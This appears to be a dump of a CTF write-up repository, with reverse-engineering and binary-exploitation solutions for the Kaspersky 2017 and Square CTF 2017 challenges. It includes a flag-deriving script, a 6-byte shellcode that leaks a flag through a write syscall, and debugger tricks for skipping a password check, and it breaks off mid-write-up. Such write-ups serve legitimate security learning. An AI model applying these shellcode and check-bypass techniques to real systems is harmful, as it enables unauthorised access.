├── 2017 ├── Kaspersky 2017 │ └── web keygen │ │ ├── README.md │ │ └── screens │ │ ├── html.png │ │ └── konata.png ├── Square CTF 2017 │ ├── pwn │ │ └── 6yte │ │ │ ├── 6yte │ │ │ ├── README.md │ │ │ └── screens │ │ │ ├── argc_check.png │ │ │ ├── bytes.png │ │ │ ├── couldnt_find_file.png │ │ │ ├── create_mem_ptr.png │ │ │ ├── export.png │ │ │ ├── file.png │ │ │ ├── flag_print.png │ │ │ ├── input_len_check.png │ │ │ ├── jmp_break.png │ │ │ └── main.png │ └── reverse │ │ ├── floppy │ │ ├── README.md │ │ ├── floppy.img │ │ └── screens │ │ │ ├── cmp_asm.png │ │ │ ├── decompiled_main.png │ │ │ ├── file.png │ │ │ ├── flag.png │ │ │ ├── input.png │ │ │ ├── mbr_loaded.png │ │ │ ├── prints.png │ │ │ ├── run_qemu.png │ │ │ ├── set_eip.png │ │ │ ├── start_debug.png │ │ │ ├── start_func.png │ │ │ └── start_func_debug.png │ │ └── gameboy │ │ ├── README.md │ │ ├── README.txt │ │ ├── bighint.txt │ │ ├── mission.gb │ │ ├── screens │ │ ├── 1_and.png │ │ ├── 1st_flag.png │ │ ├── 2_and.png │ │ ├── 3_and.png │ │ ├── code.png │ │ ├── flag.png │ │ ├── halt.png │ │ ├── inputted_code.png │ │ ├── needed_call.png │ │ ├── needed_func.png │ │ ├── needs_code.png │ │ ├── rom_settings.png │ │ ├── start.png │ │ └── start_ida.png │ │ ├── smallhint.txt │ │ └── tools.txt ├── TUCTF-2017 │ └── pwn │ │ └── temple │ │ ├── README.md │ │ ├── exploit.py │ │ ├── libc.so.6 │ │ ├── mm.c │ │ ├── screens │ │ └── heap.png │ │ ├── temple │ │ └── temple.c └── backdoorctf17 │ └── pwn │ ├── baby-0x41414141 │ ├── 32_new │ ├── README.md │ ├── exploit.py │ └── screens │ │ ├── code.png │ │ ├── fsb.png │ │ └── print-flag.png │ └── funsignals │ ├── README.md │ ├── exploit.py │ ├── player_bin │ └── screens │ ├── after-signal.png │ ├── before-signal.png │ ├── call-signal.png │ ├── checksec.png │ └── code.png ├── 2018 ├── BackdoorCTF 2018 │ ├── bookkeeping │ │ ├── exploit.py │ │ ├── service.o │ │ ├── service1.o │ │ └── verifier.o │ └── shelter │ │ ├── challenge │ │ └── exploit.py ├── Harekaze CTF 2018 │ └── flea_attack │ │ ├── README.md │ │ ├── exploit.py │ │ ├── flea_attack.c │ │ ├── flea_attack.elf │ │ ├── nohup.out │ │ └── screens │ │ ├── add_name.png │ │ ├── del_name.png │ │ ├── flag.png │ │ ├── gets_comment.png │ │ ├── main.png │ │ └── open_flag.png ├── P.W.N. CTF │ └── pwn │ │ └── echochamber │ │ ├── README.md │ │ ├── echo_chamber │ │ ├── ld-linux.so.2 │ │ └── libc.so.6 └── UIUCTF 2018 │ └── pwn │ └── heap │ ├── README.md │ ├── exploit.py │ ├── how2heap │ └── libc-2.26.so ├── 2019 ├── BSidesSF 2019 CTF │ ├── genius │ │ ├── README.md │ │ ├── exploit.py │ │ ├── genius │ │ ├── loader │ │ └── screens │ │ │ ├── apply_patch.png │ │ │ ├── before_patch.png │ │ │ ├── execute.png │ │ │ ├── first_genius.png │ │ │ ├── get_point.jpg │ │ │ ├── get_shell.jpg │ │ │ ├── patched.jpg │ │ │ ├── read_binary.png │ │ │ ├── second_genius.png │ │ │ ├── sh_in_map.jpg │ │ │ └── switches.png │ └── straw_clutcher │ │ ├── README.md │ │ ├── exploit.py │ │ ├── libc-2.23.so │ │ ├── screens │ │ ├── beginning.png │ │ ├── final_shell.png │ │ └── vuln.png │ │ └── straw-clutcher ├── SPbCTF │ └── kv8 │ │ ├── README.md │ │ ├── exploit.py │ │ ├── kv8 │ │ ├── libc-2.28.so │ │ └── pseudocode.c ├── TAMUctf 19 │ └── pwn6 │ │ ├── README.md │ │ ├── client │ │ ├── exploit.py │ │ ├── gdt │ │ ├── pwn6.ovpn │ │ ├── screens │ │ ├── bp_validation.png │ │ ├── heap_layout.png │ │ ├── konata.png │ │ ├── process_msg.png │ │ ├── server_main.png │ │ ├── shell.png │ │ └── stack.png │ │ └── server └── UTCTF │ └── Encryption Service │ ├── README.md │ ├── exploit.py │ ├── libc-2.23.so │ ├── pseudocode.c │ ├── pwnable │ └── screens │ ├── desc.png │ ├── edit_encrypted_message.png │ ├── encrypt_string.png │ ├── main.png │ ├── remove_encrypted_string.png │ ├── start_service.png │ └── view_messages.png ├── 2020 ├── FireShellCTF │ └── tmpfs │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── client │ │ ├── client.remote │ │ ├── client.rop │ │ ├── docker-compose.yml │ │ ├── flag │ │ ├── images │ │ └── flag.png │ │ ├── run.sh │ │ ├── server │ │ ├── tmpfs.py │ │ └── xinetd └── m0leCon │ └── fakev │ ├── README.md │ ├── fakev │ ├── fakev.py │ └── libc.so.6 ├── .gitignore ├── LICENSE └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | # *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | MANIFEST 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | .pytest_cache/ 49 | 50 | # Translations 51 | *.mo 52 | *.pot 53 | 54 | # Django stuff: 55 | *.log 56 | local_settings.py 57 | db.sqlite3 58 | 59 | # Flask stuff: 60 | instance/ 61 | .webassets-cache 62 | 63 | # Scrapy stuff: 64 | .scrapy 65 | 66 | # Sphinx documentation 67 | docs/_build/ 68 | 69 | # PyBuilder 70 | target/ 71 | 72 | # Jupyter Notebook 73 | .ipynb_checkpoints 74 | 75 | # pyenv 76 | .python-version 77 | 78 | # celery beat schedule file 79 | celerybeat-schedule 80 | 81 | # SageMath parsed files 82 | *.sage.py 83 | 84 | # Environments 85 | .env 86 | .venv 87 | env/ 88 | venv/ 89 | ENV/ 90 | env.bak/ 91 | venv.bak/ 92 | 93 | # Spyder project settings 94 | .spyderproject 95 | .spyproject 96 | 97 | # Rope project settings 98 | .ropeproject 99 | 100 | # mkdocs documentation 101 | /site 102 | 103 | # mypy 104 | .mypy_cache/ 105 | -------------------------------------------------------------------------------- /2017/Kaspersky 2017/web keygen/README.md: -------------------------------------------------------------------------------- 1 | # __Kaspersky Industrial CTF Quals 2017.__ 2 | ## _web keygen_ 3 | 4 | ## Information 5 | **Category:** | **Points:** | **Writeup Author** 6 | --- | --- | --- 7 | Reverse | 700 | merrychap 8 | 9 | **Description:** 10 | 11 | > crackme! http://95.85.55.168/vmctf.html 12 | 13 | ## Solution 14 | We are given the [link](http://95.85.55.168/vmctf.html) to the password validator. Let's see the HTML code: 15 | 16 |

17 | 18 |

19 | 20 | It seems interesting. We can see ~~cocoded~~ obfuscated javascript code and function ```GetFlag``` where we input some string. First of all, let's replace all this ```CoCo``` with a more readable name like ```a[Number of Co]```. [The code is here](https://gist.github.com/merrychap/b00e9a2045622f81cea13ed76b36555d). It's already little changed, but still doesn't mean much. You can see how we tried to understand what this thing is, but ended up with nothing. 21 | 22 | ### Reversing the code 23 | Now, we can look at the name of the html. VMctf. Virtual Machine? Let's look at the code from this perspective. 24 | 25 | 26 | ```javascript 27 | a56() { 28 | var byte = this.getNextByte(); 29 | switch (byte) { 30 | case 1: ... 31 | case 2: ... 32 | case 3: ... 33 | ... 34 | case 18: ... 35 | } 36 | 37 | 38 | ... 39 | 40 | while (buffer.counter != 0xFFFFFFFF) { 41 | buffer.a56(); 42 | } 43 | 44 | ``` 45 | 46 | There is a while loop that compares ```buffer.counter``` with ```0xffffffff```. This ```buffer.counter``` looks exactly like IP register. And this ```a56()``` function executes a command depending on the instruction opcode (big case statement). 47 | 48 | Now, let's look at the ```BufferClass``` construction: 49 | 50 | ```javascript 51 | constructor(bufferNumbers) { 52 | this.dataViewBuffer = new DataView(bufferNumbers.buffer); 53 | this.counter = 0; 54 | this.numberDV = new DataView(new ArrayBuffer(32)); 55 | var bufferLen = bufferNumbers.length; 56 | this.numberDV.setInt32(16,bufferLen); 57 | 58 | ``` 59 | 60 | Okay, here ```dataViewBuffer``` is the memory with .text section and the empty stack. ```counter``` is ```IP``` register and ```numberDV``` is set of 32-bit registers. 61 | 62 | After some time of reversing this code, we get [something like this](https://gist.github.com/merrychap/b5d63b535513b995942c042095991f04). I should mention that there are 4 memory managers: 63 | - ```UniRegHandler``` — manager for 32-, 16- and 8-bit registers. 64 | - ```ConstantHandler``` — used for getting constants from .text's section code. 65 | - ```AddressHandler8``` — manager for arbitrary 8-bit addresses. 66 | - ```AddressHandler32``` — manager for arbitrary 32-bit addresses. 67 | 68 | All code is pretty clear: There is a VM that has stack, registers and it executes instructions. So, we have the code for VM in ```var memory = new Uint8Array(...)```. 69 | 70 | Reversing the code we see what is going on: 71 | - The program waits for a string with 8-byte length. 72 | - Compute hash of this string 73 | - Compare obtained hash with ```0x33e5ae40```. If they are equal, then program prints another string (actually a flag), else printf "Fail". 74 | 75 | 76 | So, we should understand what type of a hashing is used here. 77 | 78 | ### What this hashing does 79 | The hash function looks like this: 80 | 81 | ```python 82 | blocks = [0x77073096,0xee0e612c, 0x990951ba, ...] 83 | 84 | hash = 0xedcba987 85 | 86 | def hash(input): 87 | for i in range(len(input)): 88 | r8 = (ord(input[i]) ^ hex2int(ciphr)) & 255 89 | index = ((0xfffffbf8 + 11220 + r8 * 4) & 0xffffffff) // 4 90 | block = blocks[index] 91 | hash = (hash >> 8) ^ block 92 | 93 | ``` 94 | 95 | All hex numbers is signed. ```blocks``` are statically generated list of signed numbers. So, hashing algorithm is not that hard. After all operations are executed, a hash is compared with ```0x33e5ae40```. Knowing this, we can reverse algorithm in this way: 96 | 97 | ```python 98 | alph = ascii_letters + digits 99 | 100 | def cracking(hash): 101 | for iter in range(8): 102 | for block in blocks: 103 | c = hash ^ block 104 | for byte in range(256): 105 | nhash = c + byte # pseudocoded sum here is like strings: 0x123456 + 0x78 = 0x12345678 106 | for symb in alph: 107 | r8 = (symb ^ nhash) & 255 108 | index = ((0xfffffbf8 + 11220 + r8 * 4) & 0xffffffff) // 4 109 | if blocks[index] == block: 110 | hash = nhash 111 | ``` 112 | 113 | But this took too much time to compute initial hash ```0xedcba987```. Because of that, we should understand how works program after comparison of input's hash and ```0x33e5ae40```. 114 | 115 | 116 | ### After comparison 117 | If a hash of our input is equal to ```0x33e5ae40```, then program compute statically list of numbers. Further, all numbers are xored with input. Usual block cipher. 118 | ``` 119 | | INPUT | INPUT | INPUT | ... | 120 | | LIST OF NUMBERS .... | 121 | | RESULTING LIST OF NUMBERS | 122 | ``` 123 | 124 | And in the end, program prints exactly ```RESULTING LIST OF NUMBERS``` joined in a string. We know the flag format. It is ```KLCTF....```. So, it all means that we can use the certain password that will give us exactly "KLCTF" after xoring. This password is ```8XcCD...``` But it's just 5 bytes. We should use another 3. Let's just brute them. After we do it, we will xor obtained password with numbers and will get the flag. 125 | 126 | ```python 127 | numbers = [115, 20, 32, 23, 2, 98, 42, 119, 121, 29, 33, 113, 112, 103, 94, 6, 0, 30, 91, 113, 125, 103, 95, 113, 123, 111, 80, 2, 119, 103, 90, 115, 9, 25, 39, 1, 5] 128 | password = '8XcCDUhG' 129 | 130 | index, flag = 0, '' 131 | for i, num in enumerate(numbers): 132 | flag += chr(num ^ ord(password[i % 8])) 133 | print(flag) 134 | ``` 135 | 136 | > And we get the flag: **KLCTF7B0AEB2426A8F829276C73A32241ADBA** 137 | 138 | 139 |

VoidHack crew with love <3

140 |

141 | 142 |

143 | -------------------------------------------------------------------------------- /2017/Kaspersky 2017/web keygen/screens/html.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Kaspersky 2017/web keygen/screens/html.png -------------------------------------------------------------------------------- /2017/Kaspersky 2017/web keygen/screens/konata.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Kaspersky 2017/web keygen/screens/konata.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/pwn/6yte/6yte: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/pwn/6yte/6yte -------------------------------------------------------------------------------- /2017/Square CTF 2017/pwn/6yte/README.md: -------------------------------------------------------------------------------- 1 | # __Square CTF 2017__ 2 | ## _6yte_ 3 | 4 | ## Information 5 | **Category:** | **Points:** | **Writeup Author** 6 | --- | --- | --- 7 | Exploit | 1000 | merrychap 8 | 9 | **Description:** 10 | 11 | > Our operatives found this site, which appears to control some of the androids’ infrastructure! There are only two problems. The robots love x86 assembly; the only thing easier for them to work with is binary. And they love terse command codes. Even 7 bytes was too many for this one. 12 | This URL is unique to your team! Don't share it with competitors! 13 | https://zahir-todyf-movav-fygas-codag.capturethesquare.com 14 | 15 | 16 | ## Solution 17 | On the page we can find a binary and text, that says: 18 | 19 | >You can send up to 6 bytes (hex encoded) as the first argument to the binary. The passed in bytes will be executed. The goal is to read the contents of the file in env['WUNTEE_CHALLENGE_FLAG']. 20 | 21 | Okay then, the first we have to do is to download the [binary](6byte) and examine its functionality. Using ```file``` utility we see that it's 32-bit binary: 22 | 23 |

24 | 25 |

26 | 27 | Let's open the binary in IDA Pro. First of all, we're faced with argc length checking. From this, we know, that length of argc must be 2. 28 | 29 |

30 | 31 |

32 | 33 | It means that we pass our 6 bytes **through command line parameters**. If args is equal to 2, then binary checks length of a passed string. It must be 12 bytes long because each byte presented with 2 symbols 34 | 35 |

36 | 37 |

38 | 39 | When all checks are completed, the program converts a passed string into 6 real bytes. That is, if you input ```aabbccddeeff```, then program converts it into bytes sequence ```0xaa 0xbb 0xcc 0xdd 0xee 0xff```. After this, the main function starts: 40 | 41 |

42 | 43 |

44 | 45 | In this part of the code, the program prints locations of the flag and the shellcode (our input), and then jumps to the shellcode. Sounds pretty nice. We can run the debugger and see all this in action. 46 | 47 | I'll use gdb+peda, but you can use whatever debugger you want. Let's set the breakpoint on ```jmp DWORD PTR [ebp-0x18]```, because in fact, it's the only one interesting place to debug. 48 | 49 |

50 | 51 |

52 | 53 | When we try to run the binary, we faced with the problem: we just don't have ```WUNTEE_CHALLENGE_FLAG``` environment variable. It's not a problem at all. We create a file named "flag" and write to it the string ```this_is_sample_flag_created_by_myself```. After this let's create the right environment variable: 54 | 55 |

56 | 57 |

58 | 59 | Try to run it again with ```aabbccddeeff```... Yes, everything is okay. 60 | 61 |

62 | 63 |

64 | 65 | Once you are at the ```jmp``` instruction, step in and see what do we have there. 66 | 67 |

68 | 69 |

70 | 71 | This is where the real task begins. Let's recall that we have right now. The flag is located in our memory and we can see it. Also, we can control 6 executable bytes. So, the simplest (and the only one) idea is next: we use ```write``` syscall to write the flag into the output stream. 72 | 73 | Let's examine the registers for that: ```eax = 0x4; ebx = 0x1; edx = 0x5```. It means that we will write to the stdout 5 bytes of a buffer stored in the ```ecx```. But ecx stores something useless! Yes, this is why we need this 6 bytes of our input. You can notice that ```edi``` contains flag address, so the goal is to move this address to ```ecx```. We can input ```lea ecx, [edi]; syscall;``` (in bytes it's ```8d0fcd80```)assembly instruction to output first 5 bytes of the flag. 74 | 75 |

76 | 77 |

78 | 79 | Okay, when we get the first 5 bytes of the flag, we can use an offset in the ```lea``` instruction like this: ```lea ecx, [edi+5]``` to print next 5 bytes and so on. By the way, you can use ```rasm2``` to convert assembly instructions into bytes. 80 | 81 | That's all. Just apply this technique on the CTF server. 82 | 83 | For our team flag is: 84 | 85 | > flag-vizuv-solyb-rasun-korud-lyvad -------------------------------------------------------------------------------- /2017/Square CTF 2017/pwn/6yte/screens/argc_check.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/pwn/6yte/screens/argc_check.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/pwn/6yte/screens/bytes.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/pwn/6yte/screens/bytes.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/pwn/6yte/screens/couldnt_find_file.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/pwn/6yte/screens/couldnt_find_file.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/pwn/6yte/screens/create_mem_ptr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/pwn/6yte/screens/create_mem_ptr.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/pwn/6yte/screens/export.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/pwn/6yte/screens/export.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/pwn/6yte/screens/file.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/pwn/6yte/screens/file.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/pwn/6yte/screens/flag_print.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/pwn/6yte/screens/flag_print.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/pwn/6yte/screens/input_len_check.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/pwn/6yte/screens/input_len_check.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/pwn/6yte/screens/jmp_break.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/pwn/6yte/screens/jmp_break.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/pwn/6yte/screens/main.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/pwn/6yte/screens/main.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/floppy/README.md: -------------------------------------------------------------------------------- 1 | # __Square CTF 2017__ 2 | ## _floppy_ 3 | 4 | ## Information 5 | **Category:** | **Points:** | **Writeup Author** 6 | --- | --- | --- 7 | Reverse | 1000 | merrychap 8 | 9 | **Description:** 10 | 11 | > Our team of corn snakes formed an uneasy alliance with the office mice and slithered into the server room of Evil Robot Corp. They extracted an image of the VPN server before they had to retreat. Turns out sending a team of reptiles into a room whose main purpose is to keep its contents cold wasn’t the best idea. 12 | Can you figure out how this bootable [floppy](floppy.img) works and recover the secret data? 13 | 14 | ## Solution 15 | First of all, we should understand what this thing is. Using ```file```, we see that this is ```DOS/MBR boot sector```. 16 | 17 | ```sh 18 | $ file floppy.img 19 | floppy.img: DOS/MBR boot sector 20 | ``` 21 | 22 | What should we do with it? If you try to run it, you fail, because of ```format error```. Hence, we should find an emulator for this type of system. I'll use ```qemu```. 23 | 24 | In the first place, we have to see the code of this MBR. Using IDA Pro we can see the next code (some functions are already renamed): 25 | 26 |

27 | 28 |

29 | 30 | This function does the next: 31 | - 16 line: Prints "Challenge" with some random number 32 | - 19 line: Prints "Code?" 33 | - 21 — 35: Inputs a string with 4 bytes length. 34 | - 37 line: Translates the string into hex format (I'm not sure about this function, it isn't necessary for the solution) 35 | - 38 — 42: Generates 8 bytes and stores them in ```byte_1DB8``` 36 | - 43 line: Compares processed ```hex``` and result of ```sub_BA0``` function 37 | - If they are equal, then prints the "flag" and then execute ```sub_510``` with ```byte_1DB8``` as the first argument. 38 | - Else prints "Nope". 39 | 40 | There are two ways to solve this challenge: 41 | 1. Understand how ```sub_BA0``` works and find appropriate input that will satisfy to the comparison 42 | 2. Execute all instructions until comparison. After this, set ```eip``` to ```call sub_510```. Input in this case is useless because doesn't take part in calculating the flag. So it will give us the flag without any effort. 43 | 44 | I chose the second variant because it's faster. This is where that comparison located in disassembly: 45 | 46 |

47 | 48 |

49 | 50 | But to do this trick with ```eip``` we have to be in debugging mode. This is where problems come. 51 | 52 | First of all, we should run qemu with the possibility of attaching the debugger (gdb, in our case) to the binary. After hours of reading different web pages about it, I found the brilliant [tutorial](https://rwmj.wordpress.com/2011/10/12/tip-debugging-the-early-boot-process-with-qemu-and-gdb/). As we can see, to run qemu in this mode we should do the next: 53 | ```sh 54 | qemu-system-x86_64 -s -S -m 512 -fda winxp.img 55 | ``` 56 | 57 | And now we can see, that qemu is running: 58 | 59 |

60 | 61 |

62 | 63 | Alright, we know from this article, that the address when MBR is loaded is ```0x7c00```. Let's attach to this process in the ```gdb``` and set breakpoint at this address. 64 | 65 |

66 | 67 |

68 | 69 | Continue execution until the ```0x7c00``` address: 70 | 71 |

72 | 73 |

74 | 75 | 76 | When everything is done, we have to find the address of the start function. This functions is shown below: 77 | 78 |

79 | 80 |

81 | 82 | After some debugging steps, we find that the desired function is placed under ```0x1000``` address: 83 | 84 |

85 | 86 |

87 | 88 | Okay, we are almost done! Now, we have to calculate the offset of that last comparison from ```0x200``` (it's the address of start function in disassembly). Offset is ```0x217```, so let's set breakpoint at the ```0x1217``` and continue execution. Program waits for an input. We input random 4 bytes. 89 | 90 |

91 | 92 |

93 | 94 | 95 | When we are at that ```cmp``` instruction we have to just change ```eip``` register to ```0x121f``` and continue execution. 96 | 97 |

98 | 99 |

100 | 101 | And this is what the binary gives us after comparison: 102 | 103 |

104 | 105 |

106 | 107 | So, the flag is: 108 | 109 | > flag-774016DB4709CB49 110 | -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/floppy/floppy.img: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/floppy/floppy.img -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/floppy/screens/cmp_asm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/floppy/screens/cmp_asm.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/floppy/screens/decompiled_main.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/floppy/screens/decompiled_main.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/floppy/screens/file.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/floppy/screens/file.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/floppy/screens/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/floppy/screens/flag.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/floppy/screens/input.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/floppy/screens/input.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/floppy/screens/mbr_loaded.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/floppy/screens/mbr_loaded.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/floppy/screens/prints.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/floppy/screens/prints.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/floppy/screens/run_qemu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/floppy/screens/run_qemu.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/floppy/screens/set_eip.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/floppy/screens/set_eip.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/floppy/screens/start_debug.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/floppy/screens/start_debug.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/floppy/screens/start_func.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/floppy/screens/start_func.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/floppy/screens/start_func_debug.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/floppy/screens/start_func_debug.png -------------------------------------------------------------------------------- /2017/Square CTF 2017/reverse/gameboy/README.md: -------------------------------------------------------------------------------- 1 | # __Square CTF 2017__ 2 | ## _The Turing Agent_ 3 | 4 | ## Information 5 | **Category:** | **Points:** | **Writeup Author** 6 | --- | --- | --- 7 | Reverse | 500 | merrychap 8 | 9 | **Description:** 10 | 11 | >The hamsters have triumphed! We found an open [Github repository](https://github.com/Ahris/the_turing_agent)! It looks like some sort of game; perhaps they’re planning to trick our humans into playing it. We need to know if there’s any data hidden in the game that might harm our humans. 12 | Note: You'll need to prepend "flag-" to the flag. 13 | 14 | ## Solution 15 | It's the most interesting and the most difficult (for me) challenge in this CTF. 16 | We are given with several files: 17 | - Hints files: [bighint](bighint.txt) and [smallhint](smallhint.txt) 18 | - [Some readme](README.txt) 19 | - [Tools list](tools.txt) 20 | - And the [challenge](mission.gb) itself 21 | 22 | Using ```file``` we see that this is Game Boy ROM image. 23 | 24 | ```sh 25 | $ file mission.gb 26 | mission.gb: Game Boy ROM image (Rev.01) [ROM ONLY], ROM: 256Kbit 27 | ``` 28 | 29 | Also, we can read [tools.txt]((tools.txt)) and find several debuggers for Gameboy. I'll use [```bgb```](http://bgb.bircd.org/) debugger. (Although all these debuggers are buggy). 30 | 31 | 32 | ### Using BGB 33 | After several hours of setting up this debugger, finally, I came to this: 34 | 35 |

36 | 37 |

38 | 39 | Yay! It's finally started correctly under debugging mode. So, there is one very important instruction that requires the breakpoint — ```halt``` at ```0x351E``` address. When the ```halt``` instruction is called, the Gameboy stops executing instructions until an interrupt occurs. For us it means that all changes on the screen produced after this instruction. So, it's the convenient place to set the breakpoint. 40 | 41 |

42 | 43 |

44 | 45 | 46 | ### The task itself 47 | Now, we can continue executing until task itself is show: 48 | 49 |

50 | 51 |

52 | 53 | So, after this text, the program waits for our 16 symbols input. We can input the next symbols: 54 | - up-arrow 55 | - left-arrow 56 | - down-arrow 57 | - right-arrow 58 | - box button 59 | - arrow button 60 | 61 | These are all Gameboy's controllers. So, after entering a sequence of symbols, the binary have to compare them with the correct sequence. It's obvious. Of course, it's not, because the binary can comapre hashes of sequences, but after completing the challenge I can say, that only sequences are compared. 62 | 63 | Anyway, let's input something: 64 | 65 |

66 | 67 |

68 | 69 | Now, you should be very careful, because there is one important moment. Look closely at ```0xC0A0``` and ```0xC0C0``` addresses. At the ```0xC0A0``` address placed our inputted string where each byte is a symbol from the input, corresponding to the next table: 70 | 71 | Symbol | Byte (in printable) 72 | --- | --- 73 | 🡆 | 0 (0x30) 74 | 🡄 | 1 (0x31) 75 | 🡅 | 2 (0x32) 76 | 🡇 | 3 (0x33) 77 | ⌃ | 4 (0x34) 78 | 🢬 | 5 (0x35) 79 | 80 | And now look at the ```0xC0C0``` address. Each byte then transformed into another, corresponding to the yet another table: 81 | 82 | Symbol | Byte 83 | --- | --- 84 | 🡆 | 0x1 85 | 🡄 | 0x2 86 | 🡅 | 0x4 87 | 🡇 | 0x8 88 | ⌃ | 0x10 89 | 🢬 | 0x20 90 | 91 | I understand that it's hard to see in the first time, but if you try it several times, you'll definitely notice it. 92 | 93 | ### Time for reversing 94 | You can ask me now "And what should we do after this?". It's time to see the disassembled binary. Of course, we can see it in ```bgb```, but it's very inconvenient for me. Because of that, I'll use IDA Pro. 95 | 96 | When IDA runs, it asks about processor architecture. Choose ```Zilog 80 